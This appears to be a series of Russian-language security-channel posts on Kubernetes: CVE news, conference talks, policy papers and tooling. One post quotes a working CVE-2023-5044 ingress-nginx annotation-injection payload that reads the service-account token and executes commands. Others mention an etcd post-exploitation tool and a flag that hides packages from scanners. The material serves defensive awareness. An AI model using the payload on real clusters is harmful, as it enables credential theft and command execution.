Некоторое время назад довелось поучаствовать в подкасте "Смени пароль!" в выпуске на тему "Атака на экосистему". Своем мнение про формирование экосистемой безопасности и защиты самих экосистем высказались разные крутые специалисты из разных сфер и компаний, включая нашу Luntry.

Приятного прослушивания!

В конце сентября, в Шанхае прошла конференция KubeCon China 2023. Там ребята из компании Tencent представили доклад "Container Live Migration in Kubernetes Production Environment" (слайды, видео (на китайском)). Доклад на прямую не связан с безопасностью (смотря как посмотреть), но тему поднимает очень интересную и кажущуюся на первый взгляд из какого-то будущего) Но данные ребята у себя в компании в проде это уже воплотили в жизнь! Правда для этого они накостыляли свое, а не то что сейчас внедряют в Kubernetes под названием ContainerCheckpoint feature gate.

Насчет связей с информационной безопасностью постоянные читатели нашего канала явно должны вспомнить про forensic container analysis, как раз на основе этого же механизма. Об этом мы писали уже не раз [1,2,3,4,5]

Нашумевшие уязвимости CVE-2023-44487 и CVE-2023-39325, выявленные в результате самой мощной DDoS атаки на текущий день (398 миллионов запросов в секунду) и обнаруженные в go библиотеках golang.org/x/net и golang.org/x/net/http2 само собой затронули и Kubernetes. Патчи для поддерживаемых версий уже выпущены – 1.25.15, 1.26.10, 1.27.7, 1.28.3 (остальные версии обновления не получили и не получат, так как их поддержка завершена).

В патче был добавлен feature gate – UnauthenticatedHTTP2DOSMitigation (по умолчанию он выключен). Однако, есть ряд оговорок. Во-первых, патч применим только для запросов со стороны неаутетифицированных клиентов. Во-вторых, если перед Kube-API уже установлен L7 балансировщик, то разработчики не рекомендуют включать этот feature gate. Такая же рекомендация распространяется в том случае, если Kube-API запущен в частной, изолированной сети, чтобы избежать снижения производительности для неаутентифицированных клиентов.

Тем не менее проблема для аутентифицированных клиентов остаётся нерешенной. Следить за её решением можно в этой issue.

Недавно на просторах сети наткнулись на занимательную картинку, которая представляет из себя MindMap на тему Supply-Chain Security Assessment. На нее можно достаточно долго смотреть и размышлять: знал ли я о таком, учли ли мы это у себя и чего тут не хватает ... Делая, подобную инфографику, очень сложно не упустить чего-то. Поэтому предлагаем читателям канала подумать и в комментариях написать, что по вашему мнению тут и где еще не хватает ;)

CNCF Kubernetes Policy Working group выпустила новый документ, посвященный политике управления, риска и соответствия, чтобы помочь коммьюнити узнать, как лучшие практики Cloud Native могут быть использованы для устранения ключевых бизнес-рисков.

В документе описывается, как политики PolicyEngine могут быть использованы в качестве строительного блока в Kubernetes для автоматизации безопасности, соответствия и управления. Политики явно выявляют риски и повышают осведомленность команд, что позволяет снизить риски на более ранних этапах. В статье также описывается, как политики могут применяться на каждом этапе жизненного цикла Cloud Native приложения.

С полной версией документа можно ознакомиться по ссылке тут.

Хоть нашей команде OWASP Kubernetes Top 10 и не понравился (об этом мы писали тут и тут), но статья "OWASP Kubernetes Top 10: A Comprehensive Guide" по ней выглядит внушительно и с рядом хороших картинок.

Уже меньше, чем через месяц - 14-15 ноября в Москве пройдет SOC-Forum 2023. Наша команда Luntry представит там 2 доклада:
1) «SOC в контейнерах»

Рассмотрим новые вызовы для взаимодействия Security Operations Center (SOC) с высоконагруженными контейнерными окружениями под управлением Kubernetes. Ведь далеко не все SOC готовы к работе с динамическим окружением, у которого своя специфика и особенности.

2) «EDR vs Containers: актуальные проблемы» совместно с Владиславом Лашкиным (4RAYS) из ГК SOLAR

Расскажем все о runtime защите для контейнеров и поможем слушателям узнать о самых важных моментах и тонкостях темы. Ведь контролировать происходящее внутри контейнеров очень важно — и при этом очень непросто. Для примера мы возьмем представителя сигнатурного детекта Falco и покажем как можно оставить его в не удел, а также решения что базируются на нем (Sysdig Securie, StackRox) и вообще подсветим проблемы сигнатурного обнаружения в Linux средах.

The Secrets Store CSI Driver позволяет Kubernetes монтировать множество секретов, ключей и сертификатов, хранящихся во внешних хранилищах секретов корпоративного уровня, в свои Pods в виде Volume.

Что интересно – этот проект от сообщества Kubernetes SIGs. Разворачивается как DaemonSet и использует несколько CustomResources.

Из коробки доступен функционал Secret Auto Rotation (альфа фича, выключена по дефолту) и поддерживаются такие провайдеры как Vault, Azure, GCP и AWS. Также есть возможность делать Sync as Kubernetes Secret.

Когда-то мы уже упоминали данный проект, но только вскользь.

P.S. – Использует уже кто? Способен Vault подменить ?)

"Netassert v2: Network Security Testing" - инструмент динамического тестирования работы сетевых политик (NetworkPolicy) в Kubernetes.

Для этого необходимо описать какое взаимодействие, между кем вы хотите протестировать. Далее движок, используя ephemeral container, инжектит свои образы в тестируемый/е Pods и запускает сканирование с попыткой подсоединиться.

Достаточно оригинальная идей использования ephemeral container ) В Prod окружении я бы не стал такое гонять, но вот как механизм тестирования и описания тестов для разработчиков в stage окружение рассмотреть можно.

Данный инструмент определенно напоминает другой заброшенный инструмент illuminatio.

Вчера у Ingress-NGINX Controller для Kubernetes вышло три новых CVE с критичностью High:

1. CVE-2022-4886: Ingress-nginx path sanitization can be bypassed. Уязвимость связана с тем, что пользователь, имеющий право создавать или обновлять Ingress ресурсы, может использовать директивы для обхода обработки поля spec.rules[].http.paths[].path объекта Ingress для получения кредов контроллера ingress-nginx. Затрагивает все версии < 1.8.0

2. CVE-2023-5043: Ingress nginx annotation injection causes arbitrary command execution. Аннотация nginx.ingress.kubernetes.io/configuration-snippet в ресурсе Ingress может быть использована для inject arbitrary commands и получения учетных данных контроллера ingress-nginx. Затрагивает все версии < 1.9.0

3. CVE-2023-5044: Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation. Аналогичная проблема, как и в предыдущей CVE, только на этот раз в аннотации nginx.ingress.kubernetes.io/permanent-redirect.

Все необходимые патчи уже выпущены. Не забудьте обновиться!

Хороших выходных!

При построении системы безопасности в Linux и Kubernetes инфраструктурах их неотъемлемой частью является Privileged Access Management (PAM) (мы поднимали уже эту тему тут и тут). Как к этому подойти и на что важно обратить внимание при построении этого кубика безопасности поможет серия выступлений от Антона Жаболенко и Павла Пархомца:
1) "Организация привилегированного доступа к Linux-инфраструктуре"
2) "Строим свой PAM на основе Teleport"
3) "Управляем доступом в распределённой Linux-инфраструктуре"

Рекомендуется смотреть именно в такой последовательности самими авторами, а при возникновении каких-то вопросов можно уточнить их у нас в комментариях ;)

В конце прошлой недели мы рассказывали о трёх свежих CVE для Ingress-NGINX Controller. Несмотря на то что, в описании CVE-2023-5044 есть некоторые подробности от человека, написавшего репорт, до сих пор нет ни одного реального PoC в публичном доступе. Автор статьи "Exploiting CVE-2023-5044" решил эту проблему.

Сначала автор попытался использовать alias и root directives для доступа к чувствительным файлам, однако этого не получилось, потому что они были выключены. После этого, прибегнув к использованию lua scripts и небольшой помощи ChatGPT получился рабочий PoC:

nginx.ingress.kubernetes.io/permanent-redirect: https://www.mccune.org.uk;}location ~* "^/flibble(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/flibblea(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'

Это зрело давно (начало положено 4 года назад) и приближается все ближе - мы о том что ресурсы Gateway API заменят ресурс Ingress API. В их парочке первый в сообществе называют next generation Ingress API. Как раз подтверждением этого является заметка в официальном блоге Kubernetes под названием "Gateway API v1.0: GA Release".

Оказывается на странице проекта есть даже раздел "Migrating from Ingress" и с ним также можно заблаговременно ознакомиться ;) Но не поймите не правильно Ingress никуда не девается. Но мы явно наблюдаем еще один виток расширения Kubernetes инфраструктуры.

А если вам интересно это попробовать и поиграться с этим, то стоит начать вот от сюда.

P.S. В комментариях расскажите кто что уже пробовал или что думаете на этот счет.

4 декабря мы будем участниками круглого стола "За пределами SDL", что пройдет в рамках конференции ИСП РАН Им. В.П. Иванникова.

В планах обсудить вопросы развития и применения технологий и инструментов, которые разрабатываются друзьями института и активными участниками сообщества Центра компетенций ФСТЭК России и ИСП РАН. А также, подходы к выстраиванию безопасной архитектуры, композиционный анализ, анализ защищенности Kubernetes-кластеров, тестирование на проникновение и BugBounty, статический анализ веб-языков программирования, а также формирование подходов к объединению вышеуказанных технологий в унифицированные среды и методологии безопасной разработки и испытаний.

Это будет самая не формальная часть официальной программы. И здорово, что в таких организациях есть ряд молодых и очень активных людей, которые поднимают передовые, технологические вопросы, а не только регуляторику =)

P.S. Традиционный виски-клуб от активной части организаторов как обычно, но тут кто знает тот знает ;)

P.S.S. Будем рады пообщаться там лично!

24-25 октября прошла конференция ATT&CKCON 4.0 (организована компанией MITRE), где без внимания не остались и контейнеры.

Авторы доклада "Cloud Native Workload ATT&CK Matrix" поднимают вопросы и вызовы, с которыми сталкиваются организации при работе с Cloud Native нагрузками, и предлагают пересмотр существующих методов моделирования угроз и создание новой матрицы ATT&CK для повышения уровня защиты и обнаружения угроз. Всё это разбирается на примере нашумевшей атаки SCARLETEEL.

На самом деле ничего нового они не предлагают, а лишь критикуют имеющееся. В дополнение, авторы приводят список нерелевантных техник из Enterprise матрицы (тут можно не согласиться).

Со слайдами можно ознакомиться здесь.

Продолжим тему предыдущего поста про организацию MITRE, а точнее про их матрицы. Как правило они обновляют их два раза в год, в том числе и после конференции ATT&CKCON 4.0. Матрица Enterprise обновилась, а это значит, что и Container Matrix тоже.

Были добавлены следующие техники: Account Manipulation, Create Account, Data Destruction и Endpoint Denial of Service. Несмотря на то, что матрица посвящена контейнерам, в ней всё чаще встречаются прямые отсылки к Kubernetes (что не может не радовать).

16 ноября в Москве пройдет конференция VK Kubernetes Conf, посвященная она как не сложно догадаться Kubernetes. Мы не могли остаться в стороне : Сергей Канибор (сотрудник Luntry и один из авторов данного канала) выступит на мероприятии с докладом «Экскурсия по матрицам угроз для контейнеров и Kubernetes» (последними нашим постам [1,2] мы вас уже немножко ввели в контекст). Еще вы можете вспомнить наш недавний релиз инструмента MTKPI и там мы тоже мапили его возможности на матрицу угроз (рекомендуем освежить в памяти).

Так Сергей подробно расскажет об основных матрицах угроз для контейнеров и K8s, об их отличиях и недостатка, а также на примерах покажет как это может работать и не работать ...

P.S. Таким образом с нами можно встретиться и пообщаться 14-15 ноября на SOC Forum, а 16 ноября на VK Kubernetes Conf!

Начнем эту короткую неделею с интересного прототипа kube-rebac-authorizer.

Важные моменты:
1) Kubernetes поддерживает множество authorizers и они могут работать в цепочке
2) Классическая, всем знакомая цепочка состоит из двух authorizers: Node и RBAC
3) Kubernetes позволяет заменять и добавлять собственные authorizers через webhook

Данный проект это как раз демонстрация реализация собственного authorizer! Его уникальные черты:
- Реализует Relation-based Access Control (ReBAC)
- ReBAC это развитие RBAC и ABAC
- Базируется на идеи Google Zanzibar
- В основе OpenSource реализации CNCF project OpenFGA
- Структура графа с узлами (субъекты, объекты) и ребрами (права доступа)
- Проект объединяет Node и RBAC authorizers в один компонент
- Дает возможность fine-grained доступа

Видео доклада "Beyond RBAC: Implementing Relation-based Access Control for Kubernetes with OpenFGA" про этот прототип с Cloud Native Rejekts NA 2023 (забавный факт - конфа для докладов, которые не приняли KubeCon + CloudNativeCon).

Совсем недавно мы рассказывали о докладе "Post-Exploiting a Compromised ETCD - Luis Toro Puig, NCC Group" с прошедшего Kubecon China 2023.

В докладе был упомянут инструмент – kubetcd, и вчера он стал доступен для всех желающих. Тулза по факту является обёрткой над auger и умеет создавать новые Pods, обходить AdmissionControllers и ещё много чего в скомпрометированном ETCD. Также стало доступно видео с выступления и статья Post-exploiting a compromised etcd – Full control over the cluster and its nodes от автора доклада.

Отдельно хочется поблагодарить самого автора (и по совместительству подписчика нашего канала)– Luis Toro Puig. Задавайте свои вопросы по докладу и инструменту в комментариях на английском языке, а он постарается ответить на них ;)

Как мы уже неоднократно рассказывали одним из способов уменьшить «шум» от сканеров известных уязвимостей — это уменьшить количество компонентов, которые лежат в образе. И к этому глобально можно подойти 2 способами (multi-stage сборку рассматриваем как само собой разумеющееся):
1) На основе специализированного образа (scratch, alpine, distroless, chainguard)
2) На основе динамического анализа

Если о первом способе мы много пишем и многие знают, то про второй как раз нет. Ввиду того что нужен специальный инструментарий для этого. И такой инструментарий как раз есть - проект Slim (или SlimToolkit ранее известный как DockerSlim).

Проект позволяет посмотреть, что действительно используется во время работы и только это и оставить в итоговом образе! Но как вы понимаете тут очень важно (как и в случае любого динамического анализа) это покрытие кода тестами ...

Но сегодня хотелось бы отметить и еще одну новую экспериментальную фичу/флаг --obfuscate-metadata, которая вдохновлена докладом "Malicious Compliance" (мы писали о нем тут и тут). Да, он автоматом обфусцирует (реализация тут) данные о пакетах python, ruby, node и сканеры не видят уязвимости ;)

И повторим важную мысль относительно сканеров уязвимостей: "Все подходы, анализы на базе статического анализа позволяют защититься только лишь от легитимного пользователя, но не являются никакой помехой для вредоносного"

kubernetes-for-soc – репозиторий, призванный ускорить процесс обучения аналитиков SOC, позволив им быстро освоить необходимые основные понятия и знания. Быстрый темп развития технологий оставляет SOC аналитикам мало времени для приобретения глубоких знаний и опыта, необходимых для эффективной защиты и/или мониторинга внедрений Kubernetes.

Репозиторий состоит из двух частей: threat model и observability (скоро обещают добавить третью часть – checklist). В нём отражены основные threats, threat actors, attack vectors и attack path присущие Kubernetes.

Но всё-таки это нельзя назвать полноценным руководством. Однако для SOC аналитиков, которые никогда не трогали Kubernetes будет полезно.

Хотим напомнить, что уже на следующей неделе, а именно 14 и 15 ноября нас можно будет найти на SOC-Forum 2023: там мы представим два доклада «SOC в контейнерах» и «EDR vs Containers: актуальные проблемы».